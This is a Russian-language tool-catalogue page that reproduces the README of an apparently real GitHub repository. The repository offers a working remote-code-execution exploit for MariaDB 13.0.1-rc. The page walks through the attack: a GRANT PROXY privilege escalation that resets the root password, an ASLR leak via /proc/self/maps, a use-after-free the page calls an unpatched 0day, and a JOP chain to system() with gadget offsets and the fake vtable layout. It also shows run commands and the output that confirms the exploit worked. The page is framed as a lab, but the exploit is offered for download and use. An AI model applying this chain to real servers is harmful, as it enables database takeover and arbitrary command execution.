Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE lab — повышение привилегий (priv-esc) + heap UAF + JOP-цепочка к system() под uid 999(mysql) на стандартном Docker-образе. Найдено с помощью RAPTOR и raptor-loop-hunt. | Kitploit
Инструменты/GitHubGitHub/dinosn/mariadb-13-rce-lab
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеРазработка Полезной НагрузкиБезопасность Баз ДанныхЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — повышение привилегий (priv-esc) + heap UAF + JOP-цепочка к system() под uid 999(mysql) на стандартном Docker-образе. Найдено с помощью RAPTOR и raptor-loop-hunt.

336141 месяц назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Лаборатория RCE MariaDB 13.0.1-rc

Удалённое выполнение кода на немодифицированном, стандартном Docker-образе MariaDB 13.0.1-rc под uid 999 (mysql).

Два варианта эксплойта:

ВариантФайлТребованияПримечания
Чистый SQL (рекомендуется)exploit_pure_sql.pyучётная запись MariaDB с низкими привилегиями + TCPнет доступа к хосту, нет docker, нет /proc/mem, нет root-пароля
PoC при поддержке хостаexploit.pyroot на Docker-хостезаписывает JOP-цепочку через /proc/<pid>/mem

Проверено и подтверждено на: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 запуска, каждый с новыми базами ASLR).

Модель атаки «чистый SQL» (exploit_pure_sql.py)

Атакующий владеет только:

  • учётной записью MariaDB с правами только USAGE (пользователь lowpriv из compose) + её паролем, и
  • доступностью порта 3306 по TCP.

Вся цепочка выполняется в виде SQL-операторов; нет доступа к процессам на стороне хоста, нет docker-команд, нет известных адресов. Каждый runtime-адрес узнаётся от самой цели через SQL:

1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> any user becomes full DBA (root account hijacked, empty password).
            One statement, no privileges required.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> server-side file read (FILE priv, secure_file_priv unset on stock)
            leaks PIE base and libc base = real ASLR defeat. The bases change
            on every run and are read from the live process.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (128 MiB user variable)
         -> glibc dedicates a mmap region (0x8001000, data at +0x30).
            Its address is discovered by diffing /proc/self/maps before/after
            the allocation - from SQL. No /proc/<pid>/mem involved.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<JOP layout>'), REPEAT(...))
         -> the complete JOP chain (D2, D1, system(), command string) is
            written by SQL at allocation time. The self-referential pointer
            [V+0xa8] = V+0x140 is baked in using the address found in step 3;
            glibc reuses the exact same mmap slot when the buffer is
            reallocated, so the address stays stable (verified each iteration,
            re-baked if ever moved).

5. F-05 SYS_REFCURSOR UAF + heap spray (spray128/grow5/uaf5, stock binary)
         -> the freed 1792-byte cursor array is reclaimed with a 1784-byte
            blob carrying V at offset 0x20; virtual dispatch
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            executes the command as uid 999(mysql).

6. Proof: the command writes a marker; server crashes right after system()
   returns (mariadbd is PID 1 -> container exits). Restart the container and
   read the marker.

Единственные оставшиеся не-SQL операции — это обслуживание после эксплуатации: перезапуск (уже упавшего) контейнера и отображение файла-маркера; они не являются частью эксплуатации.

Замена старых вспомогательных операций на стороне хоста

Старая вспомогательная операция (exploit.py)Замена на чистый SQL
docker inspect → PID + /proc/<pid>/maps на стороне хостаLOAD DATA INFILE '/proc/self/maps'
запись в /proc/<pid>/mem на стороне хоста для JOP-цепочкираскладка встраивается через CONCAT/UNHEX при выделении; адрес из SQL-стороннего диффа maps; переиспользование mmap-слота сохраняет самоссылку валидной
docker exec ... echo CMD > /tmp/payload_cmd.shстрока команды встраивается напрямую в JOP-раскладку
mariadb -uroot -plabpass (root-пароль)повышение через GRANT PROXY из низкопривилегированной учётной записи
docker exec ... cat MARKERиспользуется только для отображения доказательства

Использование (чистый SQL)

# start the lab
docker compose up -d

# run the exploit from anywhere with TCP access - no host access needed
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Требуется только клиент mariadb/mysql и Python 3. --container используется для финального отображения маркера (перезапуск + cat) и может быть опущен, если маркер проверяется другим способом.

Ожидаемый хвост вывода:

[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Цепочка уязвимостей (оба варианта)

1. F-09 — повышение привилегий (любой пользователь → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' обходит все проверки привилегий. Пустая аутентификационная клауза заставляет LEX_USER::has_auth() возвращать false (пропуская check_alter_user()), в то время как replace_user_table() всё равно применяет пустой пароль — заменяя учётные данные root. Один SQL-оператор, любой аутентифицированный пользователь, каждая выпущенная версия MariaDB.

2. Обход ASLR через /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' читает полную раскладку памяти процесса mariadbd изнутри SQL, раскрывая адреса PIE-базы и libc-базы. Работает с secure_file_priv = NULL (не задан) на стандартном образе.

3. F-05 — use-after-free в SYS_REFCURSOR (0day, не исправлено в апстриме)

sp_cursor_array::get_cursor_by_ref() возвращает внутренний указатель на Dynamic_array, чьё резервное хранилище перемещается my_realloc при росте. Когда метод open() курсора выполняет подконтрольный атакующему SQL, открывающий дополнительные курсоры, массив растёт, старое хранилище освобождается, а кэшированный указатель вызывающего становится висячим.

Освобождённый чанк (16 курсоров x 112 байт = 1792 байта) переиспользуется heap-spray из 128 копий пользовательской переменной по 1784 байта каждая (точное соответствие glibc-чанку). Полезная нагрузка spray помещает управляемый указатель на vtable на смещение 0x20 (член result структуры sp_cursor), который впоследствии используется для виртуального вызова:

Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = attacker's vtable pointer (V)
  -> call [rax + 0x20]       ;  calls D2 gadget (prepare() vtable slot)

4. JOP-цепочка → system()

Два JOP-гаджета из стандартного бинарника mariadbd (без ROP, без stack pivot):

ГаджетСмещениеИнструкцияНазначение
D2PIE+0x80da77call *0x100(%rax)Выравнивание стека
D1PIE+0xe3075bmov rdi,[rax+0xa8]; call [rax+0xa0]Загрузка указателя на команду, вызов system()

Фейковая vtable V располагается в буфере 128 МиБ; раскладка:

V+0x20  = D2          (prepare() vtable slot)
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (pointer to command string -> rdi)
V+0x100 = D1          (JOP dispatcher)
V+0x140 = "sh -c '<cmd>'\0"

5. Трюк обнаружения адреса на чистом SQL (новый)

Проблема курицы и яйца — запись самоссылающихся JOP-данных до знания адреса буфера — решается поведением mmap в glibc:

Скачать инструмент